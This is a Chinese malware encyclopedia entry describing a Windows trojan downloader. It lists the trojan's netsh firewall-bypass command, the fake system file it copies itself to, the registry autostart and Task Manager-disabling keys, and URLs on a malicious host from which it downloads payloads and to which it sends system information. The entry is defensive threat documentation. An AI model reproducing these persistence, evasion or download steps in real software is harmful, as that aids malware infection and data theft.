病毒名称(中文):
病毒别名:
威胁级别:
★☆☆☆☆
病毒类型:
木马程序
病毒长度:
8257
影响系统:
Win9xWinMeWinNTWin2000WinXPWin2003
病毒行为:
该病毒为windows平台下的其它病毒下载器，病毒运行后将自身伪装成系统正常程序在后台运行，运行后禁止用户中止病毒进程，并且病毒将自身添加为注册表自启动项，使病毒开机后自动运行，网络可用时病毒连接相关网站下载并执行其它病毒程序。
病毒主要通过软件捆绑或欺骗方式进行传播。
1、病毒执行以下命令以通过网络防火墙的监视:
netshfirewallsetallowedprogram"病毒路径\病毒名"enable"
2、病毒运行过程将自身复制为以下伪系统正常文件:
%Windir%\system32\kernels8.exe
3、病毒添加如下注册表项使病毒开机后自动运行:
[HKEY_LOCAL_MACHINE\SoftWare\microsoft\windows\currentversion\run]
"system"="%Windir%\system32\kernels8.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
"SystemTools"="%Windir%\system32\kernels8.exe"
4、病毒修改以下注册表项使用户无法打开"Windows进程治理器"，从而无法结束病毒进程:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr"=1
5、网络可用时病毒尝试连接以下网站下载相关病毒程序:
http://traff5all.biz/pic/search.jpg
http://traff5all.biz/pic/winlogon.jpg
http://traff5all.biz/pic/tibs.jpg
http://traff5all.biz/pic/null.jpg
http://traff5all.biz/pic/tool.jpg
http://traff5all.biz/pic/proxy.jpg
http://traff5all.biz/test.php?adv=***&code1=***&code2=***
下载以下相关程序:
%Windir%\system32\vx.tll
%Windir%\system32\dlh9jkdq1.exe
%Windir%\system32\dlh9jkdq2.exe
%Windir%\system32\dlh9jkdq5.exe
%Windir%\system32\dlh9jkdq6.exe
%Windir%\system32\dlh9jkdq7.exe
%Windir%\system32\dlh9jkdq8.exe
6、同时将用户机器的相关配置信息发送至如下地址:
http://traff5all.biz/adv/069/adload.php?a1=区域信息&a2=TypeofProcessor:****&a3=Windowsversionis**&a4=Build:**,PlatformID:2&a5=notoutpost&table=**"
